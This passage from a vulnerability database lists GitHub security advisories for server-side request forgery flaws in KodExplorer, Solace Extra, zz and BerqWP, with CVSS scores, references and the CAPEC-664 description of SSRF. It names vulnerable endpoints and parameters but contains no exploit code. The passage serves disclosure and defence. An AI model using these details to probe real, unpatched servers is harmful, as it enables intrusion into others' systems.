    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-16T12:15:07Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability classified as critical has been found in kalcaddle KodExplorer up to 4.51.03. Affected is an unknown function of the file plugins/webodf/app.php. The manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 4.52.01 is able to address this issue. The name of the patch is 5cf233f7556b442100cf67b5e92d57ceabb126c6. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-248220.",
  "id": "GHSA-v73r-f3cx-pm99",
  "modified": "2023-12-16T12:30:16Z",
  "published": "2023-12-16T12:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6852"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kalcaddle/KodExplorer/commit/5cf233f7556b442100cf67b5e92d57ceabb126c6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kalcaddle/KodExplorer/releases/tag/4.52.01"
    },
    {
      "type": "WEB",
      "url": "https://note.zhaoj.in/share/P6lQNyqQn3zY"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.248220"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.248220"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V746-9WXC-9RC8

Vulnerability from github – Published: 2025-05-07 15:31 – Updated: 2026-04-01 18:35
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in solacewp Solace Extra allows Server Side Request Forgery. This issue affects Solace Extra: from n/a through 1.3.1.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-47464"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-07T15:16:00Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in solacewp Solace Extra allows Server Side Request Forgery. This issue affects Solace Extra: from n/a through 1.3.1.",
  "id": "GHSA-v746-9wxc-9rc8",
  "modified": "2026-04-01T18:35:01Z",
  "published": "2025-05-07T15:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47464"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/solace-extra/vulnerability/wordpress-solace-extra-1-3-1-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V77M-X7VQ-CW6F

Vulnerability from github – Published: 2025-03-03 06:30 – Updated: 2025-03-03 06:30
VLAI
Details

A vulnerability classified as critical was found in zj1983 zz up to 2024-8. Affected by this vulnerability is an unknown functionality of the file /import_data_todb. The manipulation of the argument url leads to server-side request forgery. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-1849"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-03T04:15:08Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability classified as critical was found in zj1983 zz up to 2024-8. Affected by this vulnerability is an unknown functionality of the file /import_data_todb. The manipulation of the argument url leads to server-side request forgery. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-v77m-x7vq-cw6f",
  "modified": "2025-03-03T06:30:34Z",
  "published": "2025-03-03T06:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1849"
    },
    {
      "type": "WEB",
      "url": "https://github.com/caigo8/CVE-md/blob/main/zz/zz_import_data_todb_SSRF.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.298117"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.298117"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.505346"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-V78R-CHCJ-PP8V

Vulnerability from github – Published: 2024-07-22 12:30 – Updated: 2024-07-22 12:30
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Berqier Ltd BerqWP.This issue affects BerqWP: from n/a through 1.7.5.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-37942"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-22T11:15:02Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Berqier Ltd BerqWP.This issue affects BerqWP: from n/a through 1.7.5.",
  "id": "GHSA-v78r-chcj-pp8v",
  "modified": "2024-07-22T12:30:37Z",
  "published": "2024-07-22T12:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37942"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/searchpro/wordpress-berqwp-plugin-1-7-5-unauthenticated-non-blind-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

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